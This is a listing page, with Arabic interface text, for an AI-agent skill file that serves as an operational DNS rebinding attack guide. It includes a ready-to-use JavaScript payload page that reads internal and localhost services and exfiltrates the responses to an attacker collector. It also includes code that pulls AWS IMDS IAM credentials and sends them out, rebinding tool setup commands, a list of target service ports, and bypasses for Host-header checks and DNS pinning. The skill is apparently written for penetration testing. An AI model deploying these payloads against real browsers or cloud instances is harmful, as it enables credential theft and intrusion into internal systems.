Skip to main content

dns-rebinding

DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٢ يونيو ٢٠٢٦ في ١٧:٤٤
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٢٢
التفرعات
١٬٠٤٨

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
dns-rebinding
description
DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"dns rebinding rebind TTL 0 singularity rbndr localhost bypass via browser imds via browser SSRF via DNS same origin policy bypass","tags":"dns-rebinding, ssrf, imds, browser, localhost, same-origin-policy, cors","mitre_attack":"T1557, T1190"}
# DNS Rebinding DNS rebinding lets an attacker-controlled page make the victim's browser treat `attacker.com` as if it were `127.0.0.1` (or any internal IP). The browser's same-origin policy checks the hostname, not the IP — so after rebinding, the page's JS can read responses from the internal service as if they were same-origin. ## When This Applies | Scenario | Viable? | |----------|---------| | SSRF blocked, but victim browser is reachable | Yes — browser does the internal fetch | | Localhost service (Electron app, dev server, K8s dashboard) | Yes — browser calls 127.0.0.1:<PORT> | | Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical | | Server-side SSRF filter allows `attacker.com` | Yes — rebind to internal IP | | Target has DNS-rebinding protection (Host header check) | Partial — see bypass §7 | ## 2. Attack Mechanics ### Phase 1 — Victim resolves attacker.com → public IP Victim visits `http://attacker.com/payload.html`. Browser resolves the DNS name → gets the attacker's real public IP → same-origin allows the page's JS to load and execute. ### Phase 2 — TTL expires, DNS flips to 127.0.0.1 The attacker's DNS server returns a very short TTL (0–1 s). After TTL expiry, a second DNS query returns `127.0.0.1` (or target internal IP). ### Phase 3 — JS makes same-origin request The page's JS calls `fetch("http://attacker.com/api/v1/secret")`. The browser re-resolves `attacker.com` → gets `127.0.0.1` → sends the request to the local service on the attacker's behalf, receives the response, and exfiltrates it. ``` [Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real) ... wait TTL ... [Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind) [Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080] [Browser] → response body exfiltrated to attacker ``` ## 3. Tooling ### rbndr.us (fastest, no setup) Public DNS rebinding service by Taviso. Construct a hostname that encodes both IPs: ``` <hex-public-ip>.<hex-target-ip>.rbndr.us ``` Example — rebind `attacker.com` from `1.2.3.4` to `127.0.0.1`: ```bash PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))") TARGET_HEX="7f000001" # 127.0.0.1 REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us" echo "Rebind hostname: $REBIND_HOST" # → e.g. 01020304.7f000001.rbndr.us ``` The rbndr.us server alternates between the two IPs on each DNS request. Set up your payload page at `http://$REBIND_HOST:8080/`. ### Singularity (full-featured, self-hosted) ```bash git clone https://github.com/nccgroup/singularity /workspace/singularity cd /workspace/singularity/html # Configure the manager # Edit cmd/singularity-server/main.go: set rebindingFn to "rr" (round-robin) # or "fs" (first satisfied) docker run -it --rm \ -p 53:53/udp -p 8080:8080 \ nccgroup/singularity # Access the manager at http://<VPS>:8080/manager.html # Set "Attack host" = attacker's public IP # Set "Target host" = 127.0.0.1 (or internal IP) # Set "Target port" = target port (e.g. 2375 for Docker, 6443 for K8s) # Generate the attack URL; deliver to victim ``` ## 4. Payload Page Minimal JS to fetch once rebinding succeeds: ```html <!DOCTYPE html> <html> <body> <script> const host = location.hostname; // e.g. xxxx.7f000001.rbndr.us const target = "http://" + host + ":<TARGET_PORT>/"; const exfil = "https://<ATTACKER_COLLECTOR>/"; function tryFetch(attempt) { fetch(target, {cache: "no-store"}) .then(r => r.text()) .then(body => { // Got internal service response — exfiltrate fetch(exfil + "?d=" + btoa(body).slice(0,1000)); }) .catch(err => { // DNS hasn't flipped yet, retry if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000); }); } setTimeout(() => tryFetch(0), 500); // give first TTL a moment to expire </script> </body> </html> ``` For IMDS specifically, AWS v1 and GCP do not require special headers from the browser perspective — the only protection is Host header validation (see §7). Azure IMDS requires `Metadata: true` header — inject via: ```javascript fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"}) ``` ## 5. Cloud IMDS Pivot Once the rebinding hits `169.254.169.254`: ```javascript // AWS IMDSv1 — enumerate IAM role fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache:"no-store"}) .then(r => r.text()) .then(role => { fetch("http://attacker.com/latest/meta-data/iam/security-credentials/" + role.trim(), {cache:"no-store"}) .then(r => r.text()) .then(creds => fetch(exfil + "?c=" + btoa(creds))); }); ``` Extraction yields `AccessKeyId`, `SecretAccessKey`, `Token` — full AWS credential pivot. Treat as equivalent to SSRF → IMDSv1 (Critical). ## 6. Electron / Desktop App Attack Many Electron apps serve a local HTTP or WebSocket server on `127.0.0.1:<PORT>` without authentication, relying on same-origin for isolation. DNS rebinding bypasses that entirely: 1. Enumerate the app's local port (scan or read its config file if accessible) 2. Rebind to `127.0.0.1:<port>` using rbndr.us 3. Read API responses, extract tokens/auth cookies, pivot to backend Target ports by app: | App | Default port | |-----|-------------| | VS Code remote | 9229 | | Docker Desktop API | 2375 | | Kubernetes API | 6443 / 8001 | | etcd | 2379 | | Jupyter Notebook | 8888 | | Kibana | 5601 | | Redis | 6379 | ## 7. Defenses and Bypasses | Defense | Bypass | |---------|--------| | Host header check (`if Host != expected`) | Try `X-Forwarded-Host`, `X-Host`, empty Host | | DNS pinning (browser caches first IP) | Wait for pin to expire (Chrome: 60s); switch to fresh tab | | Private network access (PNA) headers | Older browsers lack PNA support; Safari doesn't implement it | | IMDSv2 (token-required) | Browser can't set `X-aws-ec2-metadata-token-ttl-seconds` — v2 often blocks | | CORS `Access-Control-Allow-Origin` | CORS is about responses — rebinding bypasses by making origin `==` target | Browser DNS cache TTLs: - Chrome: ignores TTL if < 1s (pins for ~1min); use rbndr TTL of 1s - Firefox: respects TTL=0 more reliably - Safari: similar to Firefox ## 8. PoC Evidence Checklist To file a valid finding: - [ ] Demonstrate victim browser receives response from internal target - [ ] Show the exfiltrated data (e.g. base64-decoded IMDS response) - [ ] Record DNS TTL used and browser version - [ ] Show that without the rebind (direct access) the same request fails ## 9. CVSS | Variant | CVSS vector | Score | |---------|-------------|-------| | DNS rebind → unauthenticated localhost service (DoS) | AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H | 5.3 | | DNS rebind → internal API data leak | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N | 7.4 | | DNS rebind → IMDSv1 IAM credentials | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 | | DNS rebind → Docker socket → RCE | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 | AC:H reflects the requirement for victim interaction (keeping the tab open during the TTL expiry window). ## 10. Chain Promotion DNS rebinding is usually a delivery primitive — chain it: - `enables` edge to IMDS credential node (if IMDS pivot succeeded) - `enables` edge to internal service vuln (if internal service is exploitable) - `requires` edge from "victim interaction" precondition node ``` kg_add_node("vulnerability", "DNS rebinding → IMDS credential pivot", props={"attack_host": "<REBIND_HOST>", "target_ip": "169.254.169.254", "browser": "Chrome 124", "imds_role": "<ROLE_NAME>", "exfil_method": "fetch to attacker callback", "key": "dns-rebinding:imds-pivot"}) ```
عرض على GitHub